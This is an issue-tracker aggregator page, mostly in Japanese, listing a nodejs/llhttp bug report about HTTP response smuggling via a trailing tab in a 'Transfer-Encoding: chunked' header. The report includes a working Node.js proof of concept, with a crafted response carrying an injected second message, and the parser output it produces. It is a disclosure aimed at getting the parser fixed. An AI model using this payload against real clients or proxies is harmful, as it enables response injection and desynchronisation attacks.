HTTP response smuggling PRIMITIVE via a trailing HTAB in `Transfer-Encoding`
メンテナーはふだん 6 日以内に返信
まだ誰も着手していません。
評価
- 難易度
- 4/5
- 見積もり時間
- 3〜5日
- 初心者へのやさしさ
- 52/100
- issue の種類
- バグ
- 明瞭さ
- おおむね明確
- 活発さ
- 活発
- 技術スタック
- node.js, typescript
調査の方向性
header_value_te_chunked_last と header_value_te_token のパスから始め、forbidAfterChunkedInRequest と lenient_transfer_encoding がレスポンスのパースにどう影響するかを確認します。提供された Node.js PoC を再現し、末尾の HTAB が除去された OWS と同様に扱われ、chunked フレーミング、正しい body の配信、一貫したメッセージ境界になることを検証します。
索引モデルが issue の本文から書いたものです。
説明
RFC 9110 §5.6.3 requires trailing OWS (SP or HTAB) to be stripped before a field value is
interpreted. header_value_te_chunked_last accepts SP but not HTAB, so chunked\t falls through
to header_value_te_token and into the generic fallback: F_TRANSFER_ENCODING is set, F_CHUNKED
is not. The message is then framed close-delimited and the chunk framing is handed to the
application as body bytes.
Responses only. On requests the value reaches forbidAfterChunkedInRequest and errors, unless
lenient_transfer_encoding is set.
PoC
const http = require('http'), net = require('net');
const RESP =
'HTTP/1.1 200 OK\r\nTransfer-Encoding: chunked\t\r\n\r\n' + // note the trailing TAB
'5\r\nhello\r\n0\r\n\r\n' + // a complete chunked body
'HTTP/1.1 200 OK\r\nContent-Length: 9\r\n\r\nINJECTED!'; // a second, separate response
const origin = net.createServer(c =>
c.once('data', () => { c.write(RESP); setTimeout(() => c.end(), 100); }));
origin.listen(0, () => http.get({ port: origin.address().port }, res => {
let body = '';
res.on('data', c => body += c);
res.on('end', () => {
console.log("res.headers['transfer-encoding'] =", JSON.stringify(res.headers['transfer-encoding']));
console.log('res.complete =', res.complete);
console.log('body =', JSON.stringify(body));
origin.close();
});
}));
res.headers['transfer-encoding'] = "chunked"
res.complete = true
body = "5\r\nhello\r\n0\r\n\r\nHTTP/1.1 200 OK\r\nContent-Length: 9\r\n\r\nINJECTED!"
Node trims the tab before exposing the header, so the application sees transfer-encoding: chunked
and complete: true while llhttp framed the message as identity. rawHeaders carries the same
trimmed value, so the discrepancy is not observable through any public API. The second response is
delivered as body content.
The same bytes, parsed with the tab stripped, yield a different message count:
tab NOT stripped (llhttp): headers_complete chunked=0 keepalive=0 body(62) '5\r\nhello\r\n0\r\n\r\nHTTP/1.1 200 OK...'
tab stripped: headers_complete chunked=1 keepalive=1 body(5) 'hello' message_complete
headers_complete status=200 content_length=9 body(9) 'INJECTED!' message_complete
One message versus two, so an llhttp consumer sharing a byte stream with an OWS-trimming peer
disagrees about where the response ends. keepalive=0 limits this to the connection llhttp owns;
the application still receives attacker-chosen bytes as the body of a response it believes is
chunked.
- 主要言語
- TypeScript
- スター
- 2k
- フォーク
- 236
- 平均マージ
- 5日 2時間
- マージ済み PR(30日)
- 1
環境構築
- Dockerfile または Docker Compose ファイルあり
- プルリクエストのテンプレートなし
- コントリビューションガイドを読む
はじめの一歩
- issue を最後まで読み、次にプロジェクトのコントリビューションガイドを読みます。
- 着手することを issue にコメントします — 二人が同じ作業をするのを防げます。
- リポジトリをフォークし、ブランチを切って変更します。
- issue 番号を参照したプルリクエストを送ります。
nodejs/llhttp のほかの issue
-
難易度 2/5 1〜3時間 初心者へのやさしさ 72/100
メンテナーはふだん 6 日以内に返信
-
難易度 4/5 3〜5日 初心者へのやさしさ 55/100
nodejs/llhttp#877 · コメント 1 件 ·
メンテナーはふだん 6 日以内に返信
-
Not easy to get the number of methods llhttp has対応中かも @official-burak が 54 日前に担当しました。 オープン
難易度 3/5 1〜2日 初心者へのやさしさ 54/100
メンテナーはふだん 6 日以内に返信
-
Should there be a way to block requests with multiple hosts or none are sent?対応中かも @Vizonex が 201 日前に担当しました。 オープン
難易度 5/5 1週間以上 初心者へのやさしさ 32/100
nodejs/llhttp#816 · コメント 1 件 ·
メンテナーはふだん 6 日以内に返信
-
難易度 2/5 1〜3時間 初心者へのやさしさ 45/100
nodejs/llhttp#782 · コメント 2 件 · リアクション 4 件 ·
メンテナーはふだん 6 日以内に返信
似ている issue
-
bug
難易度 2/5 1〜3時間 初心者へのやさしさ 76/100
awslabs/visual-asset-management-system#804 ·
メンテナーはふだん 1 日以内に返信
-
難易度 2/5 1〜3時間 初心者へのやさしさ 70/100
restatedev/sdk-typescript#813 ·
-
bug desktop P1 session XS
難易度 2/5 1〜3時間 初心者へのやさしさ 82/100
メンテナーはふだん 1 日以内に返信
-
難易度 2/5 1〜3時間 初心者へのやさしさ 62/100
Merit-Systems/x402scan#1312 ·
-
type:bug
難易度 2/5 1〜3時間 初心者へのやさしさ 78/100
Azure/apiops-cli#331 ·
メンテナーはふだん 3 日以内に返信